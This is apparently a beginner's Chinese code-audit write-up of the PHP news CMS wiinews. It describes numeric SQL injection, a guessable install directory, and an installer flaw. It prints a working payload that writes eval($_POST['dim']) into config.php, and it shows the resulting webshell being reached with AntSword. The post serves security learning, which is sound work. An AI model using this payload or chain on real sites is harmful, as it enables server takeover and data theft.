• 通读审计之wiinews


    0x00前言

    前两天一直在读mvc框架的源码,初步读aacms,但是发现真的太难读,主要是自己的php功底还是太差,读起来吃力,所以先读一个比较简单的源码来练一练,这套源码之前也复现过漏洞,就是wiinews。在复现了漏洞之后,自己尝试用危险函数朔源的办法没有找到漏洞,所以尝试一下通读。另外我刚刚开始读学代码审计,这篇文章比较适合和我一样的小萌新看!

    0x01 通读审计

    观察结构

    image100% • 75% • 50%
    结构还是比较简单的,images放一些图片,inc放了些配置文件,__install504 放的是一些安装文件,这里是已经安装过后的文件名,在安装之前这里是install, 在安装了过后,他会进行重命名,wiinews里面放了一些admin的文件,安装的时候会让你给admin改名,我改的就是wiinews,然后其他的就是些入口的php文件。

    sql注入

    Ok,就让我们从index.php开始吧。
    image100% • 75% • 50%
    一进来就包含了两个文件,我们去看看
    进去后发现 db_conn是一些数据库配置文件
    image100% • 75% • 50%
    __FILE__返回当前文件路径
    Ob_start() 添加一个缓存
    又包含了一个文件 conifg.php,去看一看
    image100% • 75% • 50%
    储存了数据库行户密码,后台目录等
    再来看看getheader.php
    image100% • 75% • 50%
    获取请求头的一些数据,接下来又回到index.php
    image100% • 75% • 50%
    可以看到 17和 25 行是可能存在xss的,这里直接去找一下这个变量是否可控,用seay审计去搜一搜,搜到了在db_conn.php里面,不可控。又看到包含了header,
    image100% • 75% • 50%
    进去看了下就是输出标题!如果有log输出log,没什么问题。继续往下,
    mysql_num_rows() 返回结果中行的数量,
    mysql_fetch_assoc() 函数从结果集中取得一行作为关联数组
    下来看到一处连接到 newsbysort.php (新闻排序),我们去看一看,在页面中就是
    image100% • 75% • 50%
    跟进 newbysort.php
    image100% • 75% • 50%
    可以看到对 id 就行了 sqlReplace()的过滤,跟进这个函数,
    image100% • 75% • 50%
    sqlReplece只是用了 addslashes() 函数对字符进行过滤,这样之过滤了引号和,而且仅仅是这样是无法预防数字型的注入的。所以在newsbysort.php的查询是存在是注入的,这里之前也分析过。
    image100% • 75% • 50%
    image100% • 75% • 50%
    从newsBysort.php 又一个连接到 newsDetail.php
    image100% • 75% • 50%
    这里依然存在sql注入。初步估计是只要id类型的都有注入,接下来就直接说发现的洞吧。

    恶意代码植入导致 getshell

    还记得我们进入index.php的时候的的代码吗?
    image100% • 75% • 50%
    这里为了不让别人访问,对install进行了改名,但是这个改名只是在后面加了个伪随机数,经过爆破就可随便得到。
    简单的进行演示一下
    image100% • 75% • 50%
    接下来我们就可以快乐的去访问了!
    image100% • 75% • 50%
    点击下一步,
    image100% • 75% • 50%
    需要账号密码,这里可以进行爆破,失败时他会显示2001错误,数据库连接错误
    image100% • 75% • 50%
    密码正确时爆2006错误,请为install设置写权限
    image100% • 75% • 50%
    跟进install.php去查看一下报错的原因
    image100% • 75% • 50%
    在安装这套系统的时候,为了安全起见,willnews会让你改掉admin目录和自动重置 install目录,所以这里文件都不存在,肯定是无法读取的,所以我们是无法正常安装,但是整个安装进程是没有结束的,我们接着看其他。
    install_finish.php

    <?php
    error_reporting(0);
    $AdminUserName=trim($_POST["edtAdminUserName"]);
    $AdminPassWord=trim($_POST["edtAdminPassWord"]);
    $foldername=trim($_POST["edtAdminFolderName"]);
    ....
    $db_host=trim($_POST["db_host"]);
    $db_user=trim($_POST["db_user"]);
    $db_name=trim($_POST["db_name"]);
    $db_password=trim($_POST["db_password"]);
    ....
    if(!mysql_connect($db_host,$db_user,$db_password)){
        echo("<p class='error'>错误:2012。意外错误!</p>");
    }else{
        mysql_query("set names utf8");
    if(!mysql_select_db($db_name)){
        echo("<p class='error'>错误:2013。意外错误!</p>");
    }else{
        $rand=md5(uniqid(rand(),true));
        rename("../admin",$AdminFolderName);
        $files="../inc/config.php";
        $config_str  = "
    ";
        $config_str .= "<?php";
        $config_str .= "
    ";
        $config_str .= '$admin_dir= "'.$foldername.'";';
        $config_str .= "
    ";
        $config_str .= "define('wiinews_id','".$rand."');";
        $config_str .= "
    ";
        $config_str .= '?>';
        $fp=fopen($files,"a");
        fwrite($fp,$config_str);
        fclose($fp);
        ....

    这个文件漏洞就很明显了,它直接连接数据库然后(当然是知道账号密码情况下)写入管理员账号密码,接下来又将 folddername 写入配置文件,这样我们就可以恶意植入代码getshell
    image100% • 75% • 50%
    Payload:db_host=localhost&db_user=root&db_name=wiinews&db_password=root&edtAdminFolderName=";eval($_POST['dim']);//
    接下来我们就可以用蚁剑连接了
    image100% • 75% • 50%
    但是这样造成的后果就是会把马插坏,因为找不到admin.php目录,但是我们任然时可以在蚁剑里操作的。

    又一处sql注入

    image100% • 75% • 50%
    原理和之前一样,只不过在后台。。。,这个漏洞点好多文件都有,不再找了。

    写在最后

    代码审计刚开始读的时候真的很费力,不过我相信到后面会好起来。 这里想问各位师傅一个问题,代码审计一定要搞懂每一行代码吗?

  • 相关阅读:
    (待续)【转载】 Deep Reinforcement Learning Doesn't Work Yet(这里有一篇深度强化学习劝退文)
    【转载】 深度强化学习走入「死胡同」,继续死磕电子游戏还是另辟蹊径?
    【转载】 Docker-关于docker cpu的限制后,实际效果的研究
    个人常用的 matplotlib 绘图模板
    【转载】共轭梯度法(视频讲解) 数值分析6(3共轭梯度法) ——苏州大学
    【转载】 向量,标量对向量求导数
    【转载】 Linux Hang Task 简介
    AOC U2790PC对比上一代的AOC U2790PQU怎么样?
    屏幕ppi
    ubuntu杀死进程
  • 原文地址:https://www.cnblogs.com/tlbjiayou/p/12728627.html
Copyright © 2020-2023  润新知